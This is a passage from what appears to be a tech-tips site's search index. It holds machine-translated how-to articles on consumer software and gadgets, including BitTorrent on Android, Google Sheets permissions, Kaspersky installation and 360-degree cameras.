smartphone to take pictures.\n  According to Pankaj Ahuja's account, the iPhone launched in 2029 will be equipped with a dense camera system that makes people afraid of holes obsessed.\n  Sharing on Facebook page of 9GAG, Yukio Yamanaka's account said that when looking at the camera cluster of iPhone 11, this person immediately thought of General Master Yi in League of Legends.\n  A slight similarity between this camera cluster and a 3-blade shaver.\n  The cluster of 3 cameras and the electric cooker in this photo are not much different.\n  The camera on iPhone 11 also makes many people think of a spinner.\n  Tran Vu Uyen Nhi account considered this camera cluster as a lovely face with moles and is the \"twin brother\" of mantis.\n  iPhone 11, Pro and Pro Max will not be cheap, respectively, $ 699, $ 999 and $ 1,099. Many people joke that in order to buy a new generation of iPhone, they have to sell kidneys to have enough money.\n  After paying by kidney and get a new iPhone.\n  For those with a tight budget, the time when Apple launches new products is when they can \"launch\" the phone.\n  It turns out the iPhone rear camera concept was inspired by this.\n  So cool and cool!\n  ncG1vNJzZmismaXArq3KnmWcp51ks7a6zbJkqaCfqby0ec6fZK2glWKxpr%2FIoKVmp5ZitrG0zqecZmlh\n","link":"/post/funny-photos-of-the-design-of-iphone-11/","section":"post","tags":null,"title":"Funny photos of the design of iPhone 11"},{"body":"Spotify provides streaming music services on both web, applications and music listening software on computers. This makes it easier for you to experience the music space that Spotify brings.\nAnd if you regularly use Spotify in your browser, you can install the Spotify Controller utility. This utility will make it easy to control the Spotify music player in any web page, such as song transfer, play, pause, etc. The following article will show you how to use the Spotify Controller utility on Browser.\nHow to register for a Spotify account to listen to music online Instructions for connecting Spotify on phones with computers, televisions, speakers 15 tips Spotify you should not miss to have a better listening experience Instructions for controlling Spotify in the web Step 1:\nYou download the Spotify Controller utility under the link below on Chrome browser.\nDownload the Spotify Controller utility   \nStep 2:\nThen the user accesses Spotify on the web following the link below and then proceeds to login to the personal account.\nhttps://open.spotify.com/   Step 3:\nOpen the music list or songs you want to listen to on Spotif web. Next click on the Spotify Controller icon on the toolbar from Spotify site or any website, including the new Chrome window.\n  Then we will see the music player adjustment frame on Spotify, move the previous or next song, stop playing music and the current song title is listening.\n  If the music stops, it will display the name of the website currently working on the browser.\n  Using the Spotify Controller utility to control the music player on Spotify is very simple and convenient. You do not need to go directly to the Spotify home page to stop playing music, or transfer tracks when needed.\nSee more:\nHow to turn on lyrics on Spotify How to download mp3s on Spotify How to backup and restore playlist Spotify I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8Gzu8tmqqmnpJ6zunnMrqqim12bv7C5jJqlsmWnmq%2B0tdOe\n","link":"/post/how-to-control-spotify-music-from-any-website/","section":"post","tags":null,"title":"How to control Spotify music from any website"},{"body":"Cyberpunk is an 80s-inspired photo editing style and neon-noir film genre, high-contrast lighting-driven movies with street scenes illuminated by signs. Bright neon advertising.\nThe overall background of Cyberpunk photos is often quite dark. Striking on the background are street corners lit by bright neon lights, busy crowds of people crowded. All combine harmoniously to create a scene full of magic and fanciful.\nSome super beautiful Cyberpunk style photos of Tokyo at night by photographer Davide Sasso.\nTo create a Cyberpunk style photo effect, you will initially need to process the original image to create the HDR effect. Then, you adjust the color with pink and light to create characteristics of Cyberpunk style. Next, you add some effects such as neon color effects, fog effects and smoke to create photos in the style of neon-noir films.\nTo be able to create interesting Cyberpunk style photo effects, you can learn some image processing techniques in Photoshop in the video below.\nCyberpunk-style images should contain a signboard and lights on the evening scene. To get photos of practice editing in this style, you can visit the link below.\nhttps://unsplash.com/photos/JoMDrml3uAc  How to change the shirt color in Photoshop How to stitch photos in perspective in Photoshop Photoshop shortcuts to help you work faster ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyipa2doprAtbXNoGScsZKav7HBzaRkqaCfqbxuscWfnJyso2K2r3nPoaatp6OdvLE%3D\n","link":"/post/how-to-create-interesting-cyberpunk-photo-effects-in-photoshop/","section":"post","tags":null,"title":"How to create interesting Cyberpunk photo effects in Photoshop"},{"body":"When you need to download something, peer-to-peer networking is probably an effective solution, but how do you download files via BitTorrent? There are several applications available to help you do that easily. This article will show you the best method to download and share files via BitTorrent.\nBitTorrent is not illegal Many people may wonder why this article is a tutorial on how to download this illegal torrent, but in fact BitTorrent is not illegal. This is a peer-to-peer (P2P) system that makes downloading and sharing data easier. Instead of downloading a single file from the server, the P2P network helps users to download and share files with others.\nOf course there are also illegal applications for BitTorrent. Almost all torrent sites serve copyrighted data, but the illegality is that you download data without paying the owner. The actual BitTorrent P2P technology is legal and is more widely used than you imagine.\nFor example, you can download a new ROM for your Android device, download the Linux operating system, update the game or use Resilio Sync to synchronize data between your Android phone or tablet with another device. . In short, there are many legal ways to use BitTorrent\nBitTorrent for beginners: instructions for downloading torrent Set up BitTorrent application on Android There are several BitTorrent applications available for Android, but you should use the official BitTorrent application. After installation, you need to grant the application access to photos, media and files. Browse the application, you will find screens for torrent files as well as audio and video files. In this step, the torrent window will be empty even though the video and audio window will display some corresponding media for the device.\nFind and download Torrent file Finding a download torrent file is not too difficult, as there are some legitimate torrent sites on the bear. For example, Archive.org provides legitimate torrents.\nTop 22 most popular torrent sharing sites    For ease of visualization, the article will perform torrent downloads, specifically the Linux distribution, a version of Ubuntu called Lubuntu. This lightweight operating system has a standard download and torrent file download options and magnet (file magnet is basically a simple version of torrent file).\nWhen you visit the Lubuntu download page, you will see the download link for the 64 bit version of the ISO file for Lubuntu. However, you need to define a few things before proceeding to download the file.\nDoes your Android device have enough space? Before downloading any data to your Android phone or tablet, you should check if the device has enough capacity. If there are only a few songs on the phone, it doesn't matter, but if you download apps, games, videos or operating systems, you may run out of resources soon.\nIt's important to keep track of device storage, if your phone doesn't have enough space, you should consider adding space using a micro SD card.\nHow to choose to purchase microSD card to upgrade Android memory In short, don't download the file until you're sure the device has enough space. Another point to keep in mind is that you should ensure sufficient battery usage. BitTorrent will tell you if the device needs charging.\n3 Android tools needed when downloading Torrent In addition to checking capacity, your Android device also needs antivirus applications, Wifi connection and VPN.\n1. Antivirus\nEven when downloading data from a trusted source, you should also use antivirus applications. If you find a problem, delete the downloaded file immediately.\nTop best antivirus application for Android phones 2. Wifi\nYou will lose a lot of mobile data if you use it to download torrent files, especially large files. Therefore, the best way is to use wireless network without measurement limitations.\n3. VPN\nYou should use VPN when downloading torrent files as it will prevent privacy issues. Although this is not a problem when downloading an open operating system, you should still consider using the Android VPN application to protect yourself.\nTop VPN application for Android phones, the best iPhone to access blocked websites Download data to your Android phone Once you have prepared the above conditions, simply touch the link, the BitTorrent application will open and the data will begin downloading.\nYou will have two views, the Files tab and the Details tab. Tab Files will display the current torrent files on the device (uploading, downloading or other files). On the Details tab you will see the download time ( ETA ), speed ( Speed ), the number of people sharing ( Peers ) and the person sharing it for you ( Seeds ).\n   In addition, there is the Download Location option, you can use it to change the location for downloading files. Obviously the download time will depend on the data you choose, so if you download a large file you should charge the Android device.\nUse data or share with another device Once the data has been downloaded, you can completely use that data in any way you want. Note, if you pause sharing, the recipient will not receive the data you downloaded and may slow down the download speed. Because you should wait for upload data to at least match the download data.\n10 ways to increase download speed of Torrent Of course you can use media files immediately by extracting data with the right tools, but if you suspect torrent sites or downloading from illegal sites you should run with the antivirus tool first.\nTop software to extract files and compress files today   In some cases, if you want to share data with another device, you should use cloud storage even though you can easily copy it to your computer via a USB cable.\nThe best cloud storage application for Android See more:\nDownload torrent on Android easily with Vuze Torrent Downloader 9 tools to download the best torrent files Instructions for creating torrent files with uTorrent ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZK2noqeyr8CMqKVmmZ6Zv7C1w2asrJ2jYq%2BqwNOoqaudnqk%3D\n","link":"/post/how-to-download-torrent-on-android-uses-bittorrent/","section":"post","tags":null,"title":"How to download Torrent on Android uses BitTorrent"},{"body":"This can make it hard to keep up with friends, plan your day, and even do your job. If the iPhone screen is not working, the following article will tell you why and what you can do to make it work again.\nWhy is the iPhone touch screen not working? There are several reasons why the iPhone touch screen stops working. One of the most common reasons is due to physical impact. If your screen stops working after hitting something, there's a good chance the damage was caused by a physical impact.\nOther common causes of iPhone touch screen problems are water damage and extreme heat.\nIf your iPhone was exposed to salt water before it stopped working, that is most likely the cause of the damage. Salt water is corrosive and while your phone may be okay temporarily, the damage can continue to progress for weeks afterward.\nTouch screen or broken LCD screen? The iPhone actually has two screen sections. The top part is the Digitizer and the bottom part is the LCD screen. Digitizer is a touch screen and LCD screen that displays content on an iPhone.\nWhen Digitizer is inactive, touch feedback on iPhone will not work properly. This means you'll see your screen, but won't be able to interact with it correctly. Sometimes only part of the screen is active or you will have to press really hard when tapping on something.\nIf the LCD screen is damaged, the iPhone won't turn on at all and you won't see anything on your screen. In addition, your screen will be dim or have some dead spots.\nIf there's a problem with Digitizer, you can try several fixes before taking your iPhone to a repair shop. However, if it's an LCD screen, you'll need to start looking for a repair right away.\nMake sure Touch Accommodations is turned off Some users may have enabled certain accessibility settings that may affect how the touchscreen works. The most common culprit is Touch Accommodations. If enabled, your iPhone screen will look like it's broken and you'll have trouble navigating the touchscreen.\nIf your monitor is still working but not correctly, this could be the cause.\nTo check if this feature is enabled, go to Settings \u0026gt; Accessibility \u0026gt; Touch \u0026gt; Touch Accommodations and turn it off.\n  If you have trouble navigating because of the touchscreen problem, just activate Siri and say 'Turn off Touch Accommodations'.\nAlternatively, you can click the Side button 3 times and this should turn off the option on most new devices. For older devices, you may have to tap the Home button 3 times.\nBackup and restore factory settings for iPhone If the touch screen is not working properly, you may have a software problem. Although this is quite rare, it can still happen.\nIf turning iPhone off and on again doesn't help, you'll need to factory reset it. Make sure to back up your iPhone before proceeding. If you can use your screen in some way, navigate to Settings \u0026gt; General \u0026gt; Transfer or Reset iPhone \u0026gt; Erase All Content and Settings.\n  If you can't navigate, you need to plug your iPhone into your computer to do a factory reset. After the reset, in rare cases the touch screen will work again.\nIf you choose to have your iPhone repaired, chances are you still need to do this. This ensures that the technician will not be able to access your personal data. They may also need to test Face ID to make sure the repair worked, and need to unlock the phone to do so, which means you should erase all your data first.\nRepair iPhone screen If the above fixes don't work, this means that you will almost certainly need to bring your phone in for repair.\nIf your iPhone is still under warranty, you'll want Apple to review it as soon as possible. Visit Apple's website to find out if you're covered under warranty. If you have AppleCare+, repairs are heavily discounted.\nIf you're out of warranty and don't have AppleCare+, you can still use the link above to find authorized repair shops near you. Apple-accredited repair shops are the best place to go to get your device repaired. However, the price can be a bit high.\nIf your phone is an older model or you are running low on budget, consider exploring other alternatives.\nPhone repair shops are very popular and some of them will give you a fair price. However, choose the right reputable store.\nYou can also repair it yourself, but if you make a mistake, you could cause more damage. If you want to try it for yourself, you can buy iPhone screens online, and most of them include DIY kits.\nUse iPhone without a touchscreen If your iPhone isn't working but you need to access certain files, you can still do it. To do so, you need to enable Voice Control. This can be useful for backing up and restoring your iPhone.\nTo do this, your phone's screen should be at least partially active. Try going to Settings \u0026gt; Accessibility \u0026gt; Voice Control and turning it on.\n  If Siri is enabled, you can activate Voice Control with your voice by saying 'Hey Siri, turn on Voice Control'. Once enabled, you can access your iPhone without using the touchscreen.\nTo use Voice Control, you should familiarize yourself with the basic commands. Apple has a complete list of these commands on its website here.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqqvMeopZ5lpKTCpLSMrJqrnZWjeq%2B702auqKqbnruo\n","link":"/post/how-to-fix-iphone-touch-screen-not-working/","section":"post","tags":null,"title":"How to fix iPhone touch screen not working"},{"body":"Unsubscribe from the Windows Insider Program or the AAD or MSA account When you join the Windows Insider Program to sign up for an Azure Active Directory (AAD) or Microsoft Account (MSA) account with the program, you'll receive an email from the Windows Insider Program with updates and program information. You can also set up Windows 10 to start downloading Insider Preview builds to get all the new features in development and help Microsoft make Windows 10 even better.\nIf you set Windows 10 to stop receiving Insider Previews, you will continue to receive emails from the Windows Insider Program. If you want to stop receiving emails from the Windows Insider Program, you'll need to unsubscribe from the Azure Active Directory (AAD) or Microsoft Account (MSA) account associated with Windows Insider Program.\nNote:\nYou should stop downloading builds on all your Windows 10 devices before leaving Windows Insider Program for an Azure Active Directory (AAD) or Microsoft Account (MSA) account.\nHow to leave Windows Insider Program to unsubscribe from the account Here's how to do it:\nStep 1. Go to the Windows Insider Program website and sign in (if not already done) with the Azure Active Directory (AAD) or Microsoft Account (MSA) account associated with the Windows Insider Program.\nStep 2. Scroll to the bottom of the Windows Insider Program website and click the Leave the Program link .\n  Step 3. Click the Leave the program now button to confirm on the Leave the Windows Insider Program page .\n  Step 4. You will now see a You are no longer registered confirmation page .\n  Windows Insider Program ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSVlsOmedaipZ2np6h6qrrSopueql2lv7Cz0ZqkZqyfYsKvv9SbqpyqmZeybrLRqKRmrJiaeqKvwqisp6w%3D\n","link":"/post/how-to-leave-windows-insider-program-to-unsubscribe-from-the-account/","section":"post","tags":null,"title":"How to leave Windows Insider Program to unsubscribe from the account"},{"body":" Have a picture of someone, but don't know who it is, or what the picture means? You can use various image searching tools online to find other copies of the image, track down the origin, and discover more information. Google Images and...\nMethod 2of 3:\nUsing TinEye  Find the image that you want to search with. TinEye is a search engine designed to search through images. You can search using either an image's URL or by uploading an image file. While TinEye does not find similar images, you can use it to quickly trace the origin of an image. To find an image's address, right-click on it and select \"Copy image address/URL.\" To save an image to your computer, right-click on it and select \"Save image.\"   Visit the TinEye website. Go to tineye.com in your web browser.\n  Upload your image or paste your copied URL. Click the Upload button to browse your computer for an image file, or paste the copied image URL into the field.\n  Browse through the search results. TinyEye will only return results for the same image, so browse through the results to find the origin of the image file.\n  Visit pages with the image to potentially find more information. The page that contains the image may be able to give you more information as to the person's identity. Check out a couple of the results to see if you can learn more about the person in the image. Look for image captions or the paragraph text around the image.[1]\n  David Pac Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVlr%2BktIyapZ1llp67pXnAm6aurF2ovK6xzqecZq2jnruoecimmKCdXZqutLXLsg%3D%3D\n","link":"/post/how-to-search-and-find-about-someone-using-image-easily/","section":"post","tags":null,"title":"How to Search and Find About Someone Using Image Easily"},{"body":"For those who do not install the Office suite on their computer or want to quickly create a spreadsheet, they will immediately think of Google's online Google Sheets application. Providing users with similar spreadsheet implementation options when done on Excel, users can easily create a complete data sheet. Especially Google Sheets also supports many online operators on certain data files.\nHowever, if you want to restrict an Excel column or row area from editing, or for some editors, how? In this case we will use the feature to set the right to edit cell, sheet, area available on Google Sheets.\n1. How to edit the Google Sheets area: Step 1: First we will access the spreadsheet you want to decentralize on Google Sheets. Next, click on the Tools tab and select Protect sheet .\n  Step 2: Right after that, the right side of the spreadsheet will appear with a Protected sheeets and ranges column. Here, we will select the Range tab, then click the grid icon to select the range of data you want to set permissions.\n  Then, you localize the data you want to set editing permissions. We can choose one column, one row or any other data area. Once you've selected the area, click OK .\n  Step 3: Continue to click Set permissions .\n  Step 4: Shortly thereafter, a dialog box with Range editing permissions appears . We will see the option Restrict who can edit this range has been selected.\nWe can authorize anyone to edit the marked data area, otherwise we can leave you (Only you).\n  To edit permissions, click Only you and select Custom .\n  Step 5: Appointment editing options appear. If there are members participating in editing this data, you want to assign permission to not edit it , just leave the account at that account .\nTo add editors , we enter the email address in the Add editor box. Then click Done at the bottom to save.\n  So we have the right to edit a certain area in the Google Sheets spreadsheet.\n2. How to assign permission to edit sheets in Google Sheets: Step 1: First of all, click on Tools and select Protect sheet . Protected sheeets and ranges interface appears on the right of the screen. Here, we will select the Sheet tab .\n  Step 2: Then localize the sheet to be authorized and click Set Permmissions .\n  Step 3: Next, we also proceed to decentralize the members, more members are allowed to edit in the Google Sheet spreadsheet.\n  3. How to manage Google Sheets editing rights: After we have the right to edit cell, sheet on Google Sheets, we can edit and change the assigned permissions.\nStep 1: At the spreadsheet, click the Tools tab, then select Protect sheet .\n  Step 2: Soon we will see a list of permissions that have been set on the spreadsheet. To edit the set permissions, simply click on the right.\n  Step 3: We can add a description for that permission , edit the authorized user in the Change permissions , or delete the set permissions when clicking the trash icon . Finally click Done to save the edit.\n  As such, we have completed the setup tasks of editing the data area in the online Google Sheets spreadsheet. With this authorization, users will be able to protect the worksheet, not allowing anyone to edit any data.\nRefer to the following articles: How to change folder ownership in Google Drive Tricks using Google Sheets should not be ignored How to convert the currency of each column, row in Google Sheet I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIytn55lop60qcCMraZmnZSewW6%2Fz6ucmpyjnbKmwNJmpqdll6S8qLjEZqqhnZWpwA%3D%3D\n","link":"/post/how-to-set-up-the-right-to-edit-spreadsheets-on-google-sheets/","section":"post","tags":null,"title":"How to set up the right to edit spreadsheets on Google Sheets"},{"body":"The comment function in Word helps you create notes for lines or paragraphs in Word documents. You can note any line or paragraph when necessary.\nThe following article shows how to use the comment (note) function in Word.\n1. Add a comment (note). Step 1: To create notes for lines or paragraphs in Word documents, first you need to select (black out) the line or paragraphs of text that you want to add notes.\nStep 2: Select the Review tab -\u0026gt; New Comment to create a new note.\n  The comment box will appear to the right of the lines and paragraphs you want to make notes on.\n  Step 3: Enter the content of the note you want in the Comment [SCD1] box, with the next notes it will be SCD2, SCD3 .\n  After entering the content of the note, you click the space in the Word document. The content of the note is saved, the line or paragraph of the note is highlighted. You just need to move the mouse cursor on the line or text that will appear comment information you enter.\n  2. Edit the comment. To edit the comment, right-click on the line or paragraph you created the comment and select Edit Comment . Or you can put the mouse pointer directly in the Comment [SCD1] box and edit the content of the note.\n  3. Delete the comment. To delete comments, right-click on the line, the text has created a note and select Delete Comment .\n  Or you put the cursor in the line, the text has created a comment and select Review -\u0026gt; Delete .\n  Thus, when necessary you can add notes, comments, quotes . right into the line or paragraphs in Word documents. You will easily follow and understand better when reading Word documents. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqku8ymnKeso2K7sMDErGScp52isq%2FA0magp2WnpL%2Bl\n","link":"/post/how-to-use-comments-notes-comments-in-word/","section":"post","tags":null,"title":"How to use comments, notes (comments) in Word"},{"body":"Timeline feature on Windows 10 helps users to review all files, previously opened content according to each specific time frame on the computer. Currently this Timeline feature only applies to Microsoft Edge browser. If you want to bring Timeline to other browsers, you can install the Windows Timeline Support utility and Web Activities that will be introduced in this article.\nThe Web Activities utility will save web pages open in Chrome to Timeline, syncing with devices or applications that support Timeline if you log in to a Microsoft account like the Microsoft Launcher application on Android. So you don't need to open the browsing history on Chrome, just open the Timeline.\nHow to view and delete activity history on Windows 10 How to export Chrome browsing history to HTML, CSV or TXT file Instructions for permanently deleting Google history How to use Virtual Desktop on Windows 10? Instructions for using Timeline for Chrome Step 1:\nUsers install the Web Activities utility for Chrome browser following the link below. Note that the utility only works on Chrome browser in normal browsing mode.\nDownload the Chrome Web Activities utility   Step 2:\nAfter installation is complete, click on the utility icon in the browser access bar and click Sign in to log in to your Microsoft account.\n  We log in to a personal Microsoft account .\n  Next, you need to grant permission for Web Activities to access your Microsoft account , click Yes.\n  Step 3:\nSo after completing the installation steps for the Web Activities utility, sites opened in Chrome will be saved to the Timeline on the computer. Click the Task View icon to open the Timeline on Windows 10 to check, or open on other applications.\n  If we do not see the web history, you may not be logged in or use 2 different Microsoft accounts, so it is not synchronized. As a result you will see webpages opened in Chrome in Timeline.\n  Step 4:\nWeb Activities by default opens the website according to the default browser set on the computer, or we can switch to Microsoft Edge browser.\n  If you want to change the default browser on your computer, refer to the article 3 how to change the default browser in Windows 10.\n  The Timline feature on Windows 10 is very useful and now you can use it for Chrome to review the web pages that have been opened from time to time, besides looking at the browser's built-in history feature. Especially, this utility can synchronize history via Microsoft account so it is convenient for you to view anywhere.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq6ZmsRuw8SbZKGho6m8s8WMqKVmm5invK6xjKKlZq%2BZo7Gww9JmaGllpJ66prjIp5w%3D\n","link":"/post/how-to-view-web-history-on-chrome-in-windows-10-timeline/","section":"post","tags":null,"title":"How to view web history on Chrome in Windows 10 Timeline"},{"body":"And recently, the Russian manufacturer and distributor of this security software decided to completely replace its free antivirus software with a lighter version, called Kaspersky Security Cloud . The new software provides more security measures not only on Windows but also on mobile devices.\n The security provider from Russia explained in a blog post in October that their new Kaspersky Security Cloud product is a far more advanced security product than the basic security solution. Kaspersky Security Cloud Free is not a new product, this software was launched in August 2018, but until October this year, it was provided in parallel with Kaspersky Free Antivirus and completely replaced in 2020.\nIf you are a simple computer user and do not need to need advanced security solutions such as child control, online payment protection tools and secure Web browsing tool with VPN, . Kaspersky Security Cloud - Free is a great choice for you.\nThe following is a guide to install Kaspersky Security Cloud - Free, please read the reference.\n To get started, you can visit this address to download the online installation package (requires internet)\nhttps://www.kaspersky.com/free-antivirus\nor this link to download the installation package of Kaspersky Security Cloud - Free.\nhttp://products.kaspersky-labs.com/vietnamese/homeuser/kfa2018/kfa18.0.0.405abvi_13279.exe\n After the download is complete, launch the package to begin the process of setting up and installing Kaspersky Security Cloud - Free.\n Make the selection and click \"Install\".\n The process of downloading and installing Kaspersky Security Cloud - Free will take a few minutes. And everything will be done automatically.\n After the installation is completed, the Kaspersky suggestion window will appear and provide you with 02 options for setting up. Please keep the same and press \"Apply\".\n The installation process is complete.\n When the Kaspersky Security Cloud - Free interface appears, an account setup window for management will appear. If so, you can log in to the software or register if not already. If you don't want to, you can click \"Skip\".\n Although free, Kaspersky Security Cloud - Free also has a \"shelf life,\" and it is 365 days. Of course, this license will be automatically renewed for free.\n The main interface of Kaspersky Security Cloud - Free.\n And as recommended immediately after installing, activating the software, you need to perform a database update, as well as perform a computer scan after the update.\n Because this is a free version, of course it will be limited in terms of features. If your needs are basic, then Kaspersky Security Cloud - Free is pretty good.\n If using Windows 10, after installing and activating Kaspersky Security Cloud - Free, Windows Security will automatically disable and replace with Kaspersky Security Cloud - Free. So you do not need to care about both running in parallel to reduce computer performance.\nncG1vNJzZmismaXArq3KnmWcp51kuKK%2Fz56prKOpYsCmr9SroK2xXZi5sMHDZp6uoZSaerW7jKKlrKyRoblut8Csp56qo6DGbr%2FEnKyroaSueqS4zq6bZp6fp3qnvsSe\n","link":"/post/kaspersky-security-cloud-guide-to-install-kaspersky-security-cloud-for-free/","section":"post","tags":null,"title":"Kaspersky Security Cloud guide to install Kaspersky Security Cloud for free"},{"body":"In this article we will give you an overview of the Forefront TMG 2010 management interface.\nIntroduce\nThe appearance of Microsoft Forefront Threat Management Gateway (TMG) 2010 has brought many interesting things and there are compelling reasons for upgrading from previous Microsoft ISA Server versions. One of them is the new security features included in the product, such as URL filtering, web antivirus, anti-malware, SSL forwarding, completely new intrusion detection and detection system, security capabilities. email protection. Besides, there are countless other things that have been changed to make it easier for the daily management task for TMG. In this article, we will show you some of the new favorite features and some interesting improvements in the TMG management interface.\nNew components are also improved\nRule Base Search - The new search feature included in the TMG management interface will make managing a large number of rules simpler. If you want to display any rule that is using the DNS protocol, simply enter the term 'DNS' into the search box and click the magnifying glass icon to execute the search.\n Figure 1 The main window displays rules with the DNS protocol.\n Figure 2 There are several ways to build queries. You can choose the name, name: value pairs and property: value pairs. For more information, you can click the Examples link next to the search box. Web Access Policy - The new Web Access Policy button in the interface tree displays a consolidated view of web access rules configured in TMG.\n Figure 3    Figure 4 As a rule-based search function, administrators will significantly simplify administrative tasks when executing a large number of complex rules. A clear and concise view of web access rules will reduce configuration errors. Quick and easy access to common settings to allow web access is also included in this view. These settings include web proxy configuration, authentication, compression, HTTPS inspection, malware inspections and web caching.\nRouting Configuration - Select the Networking button in the interface tree, then you will see a new tab called Routing .\n  Figure 5\n   Figure 6 Here you can create network topology routes . There is no need to connect to each TMG firewall separately and enter the route command from the command line. To add a static route, click the Create Network Topology Route link in the task pane.\n Figure 7 Enter the destination or destination host, the appropriate subnet mask, the gateway address at the next hop. You can also specify a metric if you want.\n Figure 8 This feature also allows you to view the routing configuration of each TMG firewall.\n Figure 9 Network Interface Configuration - In addition to being able to configure static routes in the management interface, you can configure network interface properties. Click the Networking button in the console tree and select the Network Adapters tab.\nNote: This tab is only available when running the management interface on an array member. It is not displayed in the management interface on the Enterprise Management Server.\n  Figure 10\n   Figure 11 Right-click on a network interface and select Properties . Here you can change IP addresses, subnet masks, default gateways, and configure DNS servers. In addition, you can enable or disable interfaces.\n  Figure 12\n   Figure 13\nGetting Started Wizard - After TMG is installed, the first time you open the management interface, the program will launch the Getting Started Wizard .\n Figure 14 Here you will be prompted to configure network and system settings, define deployment options. If you need to make significant configuration changes to the system or redefine deployment options, you can run the wizard again by clicking the top button in the console tree and then selecting the Tasks tab in the task pane and Click the Launch Getting Started Wizard link.\n Figure 15 Note that you cannot run the Getting Started Wizard when the TMG firewall is a member of the array. Attempting to launch the wizard will generate the following error:\n Figure 16 Network Load Balancing (NLB) Configuration - TMG currently has the ability to change the NLB operator in the GUI.\n Figure 17 Previously, this change could only be made under the program. This makes it difficult to confirm the settings, requiring the administrator to use the command line tool to perform authentication.\nDashboard System Performance - The system performance indicator in the TMG management interface has new counters. CPU Usage and Available Memory; These two counters are really useful for TMG administrators a lot compared to Allowed Packets / Sec and Dropped Packets / Sec included in previous versions.\n Figure 18 Connectivity Test - Clicking the Troubleshooting button in the console tree will display a new tab called Connectivity Test.\n Figure 19    Figure 20 This new tool allows you to test basic web connectivity from the firewall in the management interface. Complete the Destination URL: field and click the Test Connectivity button to perform the test action. Optionally, you can run a pathping during the test to collect other information. Be aware that the destination URL does not have a path so if you are still familiar with entering the same URLs, then you will see the following error message:\n Figure 21 Firewall Policy Grouping - This is another feature that administrators with large volumes of complex rules will appreciate its value. To create a rule group, select one or more rules, right-click the selected rule number, select Create Group .\n Figure 22 Name the description for the policy group and select Ok .\n Figure 23 The selected rules will now be part of the group. By right-clicking on the group and selecting Properties , you can enable, disable, and move the entire group. You can also rename the group or cancel the group for these rules.\nConclude\nThese are the new favorite features that I have selected in the Forefront Threat Management Gateway 2010 management interface. There will definitely be many other features that you will find useful, so we recommend you Let's explore more about this new TMG management interface.\nncG1vNJzZmismaXArq3KnmWcp51kvLex0a%2Bgnq9dpLNuwMeeZJ%2Bnopqzs7vNrWStpZdif3F9j2akmqaRnLKusc2tZKKmpJq%2Fp63Cng%3D%3D\n","link":"/post/overview-of-the-forefront-tmg-2010-management-interface/","section":"post","tags":null,"title":"Overview of the Forefront TMG 2010 management interface"},{"body":"The first generation of 360-degree cameras is basically an expensive 'toy' with limited applications. Currently, technology has grown, things start to become more interesting.\nThe latest generation of omnidirectional video cameras has better sensors and higher resolutions. In addition, the anti-shake when recording video also contributes to the incredible scenes. Also, you can do things that conventional cameras can't do.\nBut where is the right choice for you? Here are the best 360-degree cameras available. Let's find out with TipsMake.com !\nTop best 360 degree camera on the market today Why buy a 360-degree camera? Top 6 best 360-degree cameras today 1. Insta360 One X 2. Insta360 EVO 3. Ricoh Theta Z1 4. GoPro Fusion 5. Rylo 360 6. Garmin VIRB 360  Why buy a 360-degree camera? The camera can record 360-degree scenes with at least two lenses, one in the front and one in the back. These lenses record wide-angle video. After that, the camera merges scenes back together to create a final 360-degree image.\nThis brings many benefits. You do not need to adjust the camera to record everything around. You can then edit the footage to create your video.\nMost 360-degree cameras do not have a live preview screen, but this feature is usually provided through an accompanying smartphone application. This has allowed camera manufacturers to be more compact and improved. These devices can record videos and take photos.\nMost cameras will allow you to export videos normally in 16: 9 format or square format to share on the web. Many models even offer you 360-degree video files to immerse yourself in virtual reality scenes. Besides the technical benefits, 360-degree camera is also a very interesting entertainment tool.\nTop 6 best 360-degree cameras today 1. Insta360 One X Reference price: $ 399.95 (9.300.000VND).\n  Insta360 One X is one of the most popular cameras of this type. Insta360 One X is 'successor' for Insta360 One and has many improved features. One X can record 5,7K videos at 30 frames per second or 4K video at 50 frames per second (PAL standard) and 18MP still images.\nInsta360 One X also performs excellent video stabilization. This is why many people turn to One X when looking for a 360-degree camera. If you want to maximize the potential of images, you can record LOG video and RAW images.\nInsta360 One X has HDR mode and all camera functions can be controlled manually using the included application. It is also the application that you will edit and export videos. This is one of the most intuitive applications on the market.\nYou can use the app to select videos to share from your 360-degree footage, including hyperlapse clips (changing the time effects that the naked eye sees) stable, where you can do Slow and speed up to get the final finished product look more professional. One drawback in Insta360 One X must be recharged every 40 minutes.\nOverall, Insta360 One X is an impressive product with a great bundled mobile app and a reasonable price.\n2. Insta360 EVO Reference price: $ 623.39 (VND 14,500,000).\n  Insta360 EVO is an action camera with unique hinge design. The hinge design gives you the flexibility to shoot 180-degree videos in stereoscopic 3D mode or full 360-degree video in 2D format. Most EVO features are similar to One X, with 5.7K video at 30 frames per second, 4K video at 50 frames per second and 18MP stills.\nEVO also uses smooth vibration protection, similar to that in One X. Insta360 EVO has both RAW and LOG video capabilities. If One X is an action camera, then EVO is a camera that helps create videos to watch in VR (virtual reality). 180-degree 3D footage will really stand out on VR headsets compared to flat 360-degree footage.\nOne X has the advantage if you want to share footage in standard size format. However, if you want to use VR completely, EVO's 3D capabilities are hard to beat.\n3. Ricoh Theta Z1 Reference price: $ 780 (VND 18,140,000).\n  What makes the uniqueness of Ricoh Theta Z1 is that it contains the largest sensor among the 360-degree consumer cameras available on the market. One-inch sensor, combined with Ricoh's quality optical system, delivers the best image quality.\nThis large sensor will be very helpful in low light conditions, especially at night. Larger sensors mean better color reproduction, losing less detail in dark and bright areas. The Dynamic range of Ricoh Theta Z1 is also much improved compared to the standard 1 / 2.3-inch sensor, making video and still images look better than many conventional cameras.\nDespite the high image quality, Z1 only output 4K video at 30 frames per second, with the option of shooting 2K at the same frame rate. Still images are captured at 23MP resolution.\nMobile application Theta + is a great 'companion' for 360-degree video recording and sharing of works. You can see Theta Z1 as a prosumer camera (digital camera for semi-professional users). Theta Z1 costs nearly twice as much as Insta 360 One X, but if the benefit from the sensor is a top priority for you, this is an option worth 